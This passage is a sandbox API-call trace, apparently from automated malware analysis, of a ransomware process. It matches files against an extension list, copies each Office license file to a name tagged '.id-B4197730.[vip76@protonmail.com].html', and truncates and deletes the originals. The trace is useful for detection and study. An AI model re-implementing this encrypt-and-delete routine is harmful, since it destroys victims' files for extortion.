	[0199.278] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString=".xlsx") returned 5
	[0199.279] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.279] lstrlenW (lpString=".ppt") returned 4
	[0199.279] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.279] lstrlenW (lpString=".zip") returned 4
	[0199.279] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString=".rar") returned 4
	[0199.279] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString=".bz2") returned 4
	[0199.279] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString=".7z") returned 3
	[0199.279] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.279] lstrlenW (lpString=".dbf") returned 4
	[0199.279] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.279] lstrlenW (lpString=".1cd") returned 4
	[0199.279] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.279] lstrlenW (lpString=".jpg") returned 4
	[0199.279] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.279] lstrlenW (lpString=".doc") returned 4
	[0199.279] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.279] lstrlenW (lpString=".docx") returned 5
	[0199.279] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.279] lstrlenW (lpString=".pdf") returned 4
	[0199.280] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString=".xls") returned 4
	[0199.280] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString=".xlsx") returned 5
	[0199.280] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.280] lstrlenW (lpString=".ppt") returned 4
	[0199.280] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.280] lstrlenW (lpString=".zip") returned 4
	[0199.280] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString=".rar") returned 4
	[0199.280] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString=".bz2") returned 4
	[0199.280] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString=".7z") returned 3
	[0199.280] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.280] lstrlenW (lpString=".dbf") returned 4
	[0199.280] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.280] lstrlenW (lpString=".1cd") returned 4
	[0199.280] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0199.280] lstrlenW (lpString=".jpg") returned 4
	[0199.280] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.280] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.281] lstrlenW (lpString="MondoR_SubTrial2-ppd.xrm-ms") returned 27
	[0199.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.281] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=26526) returned 1
	[0199.281] CloseHandle (hObject=0x5d8) returned 1
	[0199.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220
	[0199.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.282] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.282] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.283] GetLastError () returned 0x0
	[0199.283] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x679e, lpOverlapped=0x0) returned 1
	[0199.285] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0199.287] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.287] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0199.287] SetEndOfFile (hFile=0x580) returned 1
	[0199.287] CloseHandle (hObject=0x580) returned 1
	[0199.287] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.287] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.291] CloseHandle (hObject=0x5d8) returned 1
	[0199.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1
	[0199.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.292] lstrlenW (lpString=".doc") returned 4
	[0199.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.292] lstrlenW (lpString=".docx") returned 5
	[0199.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.292] lstrlenW (lpString=".pdf") returned 4
	[0199.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.292] lstrlenW (lpString=".xls") returned 4
	[0199.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.292] lstrlenW (lpString=".xlsx") returned 5
	[0199.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.292] lstrlenW (lpString=".ppt") returned 4
	[0199.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.292] lstrlenW (lpString=".zip") returned 4
	[0199.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.292] lstrlenW (lpString=".rar") returned 4
	[0199.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString=".bz2") returned 4
	[0199.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString=".7z") returned 3
	[0199.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.293] lstrlenW (lpString=".dbf") returned 4
	[0199.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.293] lstrlenW (lpString=".1cd") returned 4
	[0199.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.293] lstrlenW (lpString=".jpg") returned 4
	[0199.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.293] lstrlenW (lpString=".doc") returned 4
	[0199.293] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString=".docx") returned 5
	[0199.293] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.293] lstrlenW (lpString=".pdf") returned 4
	[0199.293] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString=".xls") returned 4
	[0199.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString=".xlsx") returned 5
	[0199.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.293] lstrlenW (lpString=".ppt") returned 4
	[0199.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.294] lstrlenW (lpString=".zip") returned 4
	[0199.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.294] lstrlenW (lpString=".rar") returned 4
	[0199.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.294] lstrlenW (lpString=".bz2") returned 4
	[0199.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.294] lstrlenW (lpString=".7z") returned 3
	[0199.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.294] lstrlenW (lpString=".dbf") returned 4
	[0199.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.294] lstrlenW (lpString=".1cd") returned 4
	[0199.294] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77
	[0199.294] lstrlenW (lpString=".jpg") returned 4
	[0199.294] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.294] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.294] lstrlenW (lpString="MondoR_SubTrial2-ul-oob.xrm-ms") returned 30
	[0199.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.295] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11600) returned 1
	[0199.295] CloseHandle (hObject=0x5d8) returned 1
	[0199.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0199.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.296] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.296] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.297] GetLastError () returned 0x0
	[0199.297] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d50, lpOverlapped=0x0) returned 1
	[0199.556] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0199.557] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.557] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x110, lpOverlapped=0x0) returned 1
	[0199.557] SetEndOfFile (hFile=0x580) returned 1
	[0199.557] CloseHandle (hObject=0x580) returned 1
	[0199.557] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.557] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.560] CloseHandle (hObject=0x5d8) returned 1
	[0199.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1
	[0199.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.562] lstrlenW (lpString=".doc") returned 4
	[0199.562] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.562] lstrlenW (lpString=".docx") returned 5
	[0199.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.562] lstrlenW (lpString=".pdf") returned 4
	[0199.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.562] lstrlenW (lpString=".xls") returned 4
	[0199.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.562] lstrlenW (lpString=".xlsx") returned 5
	[0199.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.562] lstrlenW (lpString=".ppt") returned 4
	[0199.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.562] lstrlenW (lpString=".zip") returned 4
	[0199.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.562] lstrlenW (lpString=".rar") returned 4
	[0199.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.562] lstrlenW (lpString=".bz2") returned 4
	[0199.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.562] lstrlenW (lpString=".7z") returned 3
	[0199.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.562] lstrlenW (lpString=".dbf") returned 4
	[0199.563] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.563] lstrlenW (lpString=".1cd") returned 4
	[0199.563] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.563] lstrlenW (lpString=".jpg") returned 4
	[0199.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.563] lstrlenW (lpString=".doc") returned 4
	[0199.563] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString=".docx") returned 5
	[0199.563] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.563] lstrlenW (lpString=".pdf") returned 4
	[0199.563] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString=".xls") returned 4
	[0199.563] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString=".xlsx") returned 5
	[0199.563] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.563] lstrlenW (lpString=".ppt") returned 4
	[0199.563] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.563] lstrlenW (lpString=".zip") returned 4
	[0199.563] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString=".rar") returned 4
	[0199.563] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString=".bz2") returned 4
	[0199.563] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.563] lstrlenW (lpString=".7z") returned 3
	[0199.563] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.564] lstrlenW (lpString=".dbf") returned 4
	[0199.564] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.564] lstrlenW (lpString=".1cd") returned 4
	[0199.564] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0199.564] lstrlenW (lpString=".jpg") returned 4
	[0199.564] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.564] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.564] lstrlenW (lpString="MondoVL_MAK-ppd.xrm-ms") returned 22
	[0199.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.565] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=12414) returned 1
	[0199.565] CloseHandle (hObject=0x5d8) returned 1
	[0199.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220
	[0199.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.566] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.566] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.567] GetLastError () returned 0x0
	[0199.567] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x307e, lpOverlapped=0x0) returned 1
	[0199.569] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x3080, lpOverlapped=0x0) returned 1
	[0199.570] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.570] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x100, lpOverlapped=0x0) returned 1
	[0199.570] SetEndOfFile (hFile=0x580) returned 1
	[0199.570] CloseHandle (hObject=0x580) returned 1
	[0199.570] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.570] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.574] CloseHandle (hObject=0x5d8) returned 1
	[0199.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
